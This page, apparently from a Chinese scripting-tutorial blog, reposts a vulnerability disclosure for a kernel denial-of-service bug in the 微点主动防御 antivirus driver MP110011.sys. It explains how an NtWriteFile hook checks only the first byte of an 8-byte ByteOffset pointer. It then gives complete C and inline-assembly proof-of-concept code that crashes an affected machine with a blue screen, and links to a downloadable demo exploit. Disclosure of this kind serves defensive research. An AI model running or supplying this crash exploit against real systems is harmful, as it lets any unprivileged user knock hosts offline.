欢迎来到 嗅灵易学

零基础也能上手的脚本技术课,一对一答疑带你入门

微点主动防御 1.2.10580.0169 (及以下版本)内核拒绝服务漏洞

微点主动防御 1.2.10580.0169 (及以下版本)内核拒绝服务漏洞

微点主动防御是一款号称具有识别未知木马能力的主动防御软件
微点主动防御的最新版本1.2.10580.0169(20090205)中存在内核拒绝服务漏洞,可导致任意权限用户在安装了微点主动防御的系统上可引发蓝屏,从而导致拒绝服务攻击或为进一步攻击做准备
出问题的组件:MP110011.sys 版本:1.3.10050.0,CheckSum = 0x00014f3f, TimeStamp = 0x49534981
微点主动防御在使用对ntoskrnl!NtWriteFile->ObReferenceFileObjectForWrite的CALL HOOK中,通过使用堆栈回溯的方式取得NtWriteFile的参数ByteOffset
只使用了MmIsAddressValid函数对ByteOffset的首字节地址做了有效性判断,就直接使用了这个实际长达8个字节的Buffer,最终导致了漏洞的发生
下面是攻击示例代码,运行此代码后,装有1.2.10580.0169版本微点的机器上将立即蓝屏
HANDLE hdev = CreateFile("\\\\.\\c:" , 
   FILE_READ_DATA | FILE_WRITE_DATA |SYNCHRONIZE , 
   FILE_SHARE_READ | FILE_SHARE_WRITE , 
   NULL , 
   OPEN_EXISTING , 
   0,0);
BYTE Buffer[512];
ULONG btr ;
SetFilePointer(hdev , 0 , 0 , FILE_BEGIN);
ReadFile(hdev , Buffer , 512 , &btr , 0 );
HMODULE ntdll = LoadLibrary("ntdll.dll");
PVOID pNtWriteFile = GetProcAddress(ntdll, "ZwWriteFile");
ULONG i ;
for (i = 0 ; i < 0x7fffd000 ; i +=0x1000)
{
   if (IsBadReadPtr((PVOID)(i - 3) , 1) == FALSE &&
    IsBadReadPtr((PVOID)i , 1 ) == TRUE)
   {
    i = i - 3 ; 
    break ; 
   }
}
PVOID buf = Buffer; 
LONG stat ;
__asm
{
   push 0
   push i
   push 512
   push buf
   push 0
   push 0
   push 0
   push 0
   push hdev
   call pNtWriteFile
   mov   stat , eax
}
下载漏洞演示程序请到
http://mj0011.ys168.com
漏洞演示目录下bsod_mp_x.rar

注意:上传附件及图片大小不得大于30M。

⚠️ 版权声明:
本博客所有内容(含教程、源码、工具)仅供个人技术学习与研究交流使用,严禁商用、倒卖、二次分发及非法用途。
未经作者书面授权,任何组织或个人不得转载、复制或用于其他平台,违者将追究相关责任。

0 0 0 举报
复制成功